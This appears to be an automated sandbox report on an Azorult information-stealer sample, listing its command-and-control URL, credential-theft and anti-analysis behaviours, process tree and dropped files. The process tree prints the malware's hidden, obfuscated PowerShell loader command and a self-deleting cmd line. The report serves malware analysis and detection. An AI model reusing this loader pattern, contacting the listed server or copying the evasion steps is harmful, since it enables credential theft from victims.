Analysis
- max time kernel
93s - max time network
203s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/01/2025, 16:30
General
- Target 24010-KAPSON.exe
- Size 927KB
- Sample250113-tzy5gsyncz
- SHA256 1112d16470efe5c9714789944abe3dd43665d9b1f3a206b5d15406e6ab0ef414
Malware Config
Extracted
-
azorult
-
http://b2csa.icu/PL341/index.php
Signatures
- Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
- Azorult family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 7 IoCs
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Blocklisted process makes network request 3 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\24010-KAPSON.exe"C:\Users\Admin\AppData\Local\Temp\24010-KAPSON.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Mbps=gc -raw 'C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Deleaves.Sko';$Dybereliggende203=$Mbps.SubString(76135,3);.$Dybereliggende203($Mbps) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\system32\timeout.exe 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Deleaves.Sko
Rntgenstraaler118.Sar
mozglue.dll
msvcp140.dll
nss3.dll
vcruntime140.dll
__PSScriptPolicyTest_osbjwiym.lkt.ps1
nsExec.dll
memory/3120-79-0x00000000002F0000-0x0000000000317000-memory.dmp
memory/3120-78-0x0000000000840000-0x0000000001A94000-memory.dmp
memory/3120-196-0x0000000000840000-0x0000000001A94000-memory.dmp
memory/3120-147-0x0000000000840000-0x0000000001A94000-memory.dmp
memory/4564-53-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-58-0x0000000007F70000-0x0000000007F8A000-memory.dmp
memory/4564-29-0x0000000005BC0000-0x0000000005F14000-memory.dmp
memory/4564-31-0x0000000006270000-0x00000000062BC000-memory.dmp
memory/4564-30-0x0000000006220000-0x000000000623E000-memory.dmp
memory/4564-32-0x0000000007220000-0x00000000072B6000-memory.dmp
memory/4564-33-0x0000000006740000-0x000000000675A000-memory.dmp
memory/4564-34-0x0000000006760000-0x0000000006782000-memory.dmp
memory/4564-35-0x0000000007880000-0x0000000007E24000-memory.dmp
memory/4564-37-0x00000000084B0000-0x0000000008B2A000-memory.dmp
memory/4564-40-0x0000000070250000-0x000000007029C000-memory.dmp
memory/4564-39-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-50-0x0000000007670000-0x000000000768E000-memory.dmp
memory/4564-38-0x0000000007630000-0x0000000007662000-memory.dmp
memory/4564-51-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-52-0x00000000076A0000-0x0000000007743000-memory.dmp
memory/4564-17-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-54-0x00000000077A0000-0x00000000077AA000-memory.dmp
memory/4564-55-0x00000000077C0000-0x00000000077D1000-memory.dmp
memory/4564-56-0x0000000007800000-0x000000000780E000-memory.dmp
memory/4564-57-0x0000000007810000-0x0000000007824000-memory.dmp
memory/4564-16-0x00000000051E0000-0x0000000005202000-memory.dmp
memory/4564-59-0x0000000007840000-0x0000000007848000-memory.dmp
memory/4564-60-0x0000000007F70000-0x0000000007F9A000-memory.dmp
memory/4564-61-0x0000000007FA0000-0x0000000007FC4000-memory.dmp
memory/4564-62-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-64-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-66-0x0000000073DDE000-0x0000000073DDF000-memory.dmp
memory/4564-67-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-68-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-71-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-69-0x0000000008B30000-0x000000000B48D000-memory.dmp
memory/4564-70-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-72-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-73-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-74-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-18-0x0000000005AE0000-0x0000000005B46000-memory.dmp
memory/4564-19-0x0000000005B50000-0x0000000005BB6000-memory.dmp
memory/4564-15-0x0000000005440000-0x0000000005A68000-memory.dmp
memory/4564-14-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-13-0x00000000028A0000-0x00000000028D6000-memory.dmp
memory/4564-12-0x0000000073DDE000-0x0000000073DDF000-memory.dmp
memory/4564-75-0x0000000073DD0000-0x0000000074580000-memory.dmp
memory/4564-77-0x0000000073DD0000-0x0000000074580000-memory.dmp